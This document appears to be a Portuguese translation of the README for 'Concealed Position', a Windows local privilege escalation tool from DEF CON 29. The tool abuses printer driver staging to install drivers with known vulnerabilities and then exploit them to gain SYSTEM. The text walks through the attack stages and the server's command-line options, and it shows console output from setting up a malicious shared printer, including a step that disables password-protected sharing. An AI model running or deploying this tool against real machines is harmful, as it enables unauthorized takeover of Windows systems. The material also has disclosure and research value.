
Ferramenta de escalonamento de privilégios usando seu próprio driver de impressão
Concealed Position é um ataque de escalonamento de privilégio local contra Windows usando o conceito de "Bring Your Own Vulnerability". Especificamente, Concealed Position (CP) usa a lógica as designed de package point and print no Windows que permite a um usuário de baixo privilégio encenar e instalar drivers de impressora. CP instala especificamente drivers com vulnerabilidades conhecidas que são então exploradas para escalar para SYSTEM. Concealed Position foi apresentada pela primeira vez no DEF CON 29.
Concealed Position oferece quatro exploits - todos com nomes igualmente idiotas:
Os exploits são interessantes porque, além do SLASHINGDAMAGE, eles continuarão funcionando mesmo após os problemas serem corrigidos. O único mecanismo que o Windows tem para impedir que usuários usem drivers antigos é revogar o certificado do driver - algo que não é(?) feito historicamente.
Provavelmente ACIDDAMAGE. RADIANTDAMAGE e POISONDAMAGE são condições de corrida (para sobrescrever uma DLL) e SLASHINGDAMAGE, esperançosamente, está corrigido na maioria dos lugares.
Concealed Position tem duas partes. Uma impressora maléfica e um cliente. O cliente contata o servidor, pega um driver, faz o driver ser armazenado no repositório de drivers, instala a impressora e explora o processo de instalação. Fácil! Em linguagem MSAPI, o ataque funciona mais ou menos assim:
Step 1: Stage the driver in the driver store
client to server: GetPrinterDriver
server to client: Response with driver
Stage 2: Install the driver from the driver store
client: InstallPrinterDriverFromPackage
Stage 3: Add a local printer (exploitation stage)
client: Add printer
É importante notar que o SLASHINGDAMAGE na verdade não funciona assim. O SLASHINGDAMAGE é uma implementação do ataque de impressora maléfica descrito no DEFCON 28 (2020) e já foi corrigido há muito tempo. Acontece que eu gosto do ataque (ele desencadeou o resto deste desenvolvimento) e resolvi deixar o exploit no meu servidor maléfico... por mais confuso que isso possa ser.
Discutivelmente, sim. O repositório de drivers é uma "coleção confiável de ... pacotes de drivers de terceiros" que requer acesso de administrador para modificar. Usando GetPrinterDriver, um atacante de baixo privilégio pode encenar drivers arbitrários no repositório. Isso, para mim, cruza uma clara fronteira de segurança.
A Microsoft parecia concordar quando emitiu CVE-2021-34481.
Embora... seja discutível que isso é simplesmente uma característica do sistema e não uma vulnerabilidade. Na verdade, não importa tanto assim. Um atacante pode escalar para SYSTEM em instalações padrão do Windows.
Pelo menos Windows 8.1 e superior.
Simples! Tão simples que haverá muitos parágrafos para descrever!
Primeiro, vamos ver as opções de linha de comando do cp_server:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| server!
CLI options:
-h, --help Display the help message
-e, --exploit arg The exploit to use
-c, --cabs arg (=.\cab_files) The location of the cabinet files
Exploits available:
ACIDDAMAGE
POISONDAMAGE
RADIANTDAMAGE
SLASHINGDAMAGE
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
Acima você pode ver que o servidor requer duas opções:
Por exemplo, digamos que queremos configurar uma impressora maléfica que sirva o driver ACIDDAMAGE. Basta fazer isso:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| server!
[+] Creating temporary space...
[+] Expanding .\cab_files\ACIDDAMAGE\LMUD1o40.cab
[+] Pushing into the driver store
[+] Cleaning up tmp space
[+] Installing print driver
[+] Driver installed!
[+] Installing shared printer
[+] Shared printer installed!
[+] Automation Done.
[!] IMPORTANT MANUAL STEPS!
[0] In Advanced Sharing Settings, Turn off password protected sharing.
[1] Ready to go!
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
E é isso, você verá uma nova impressora no seu sistema:
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin> Get-Printer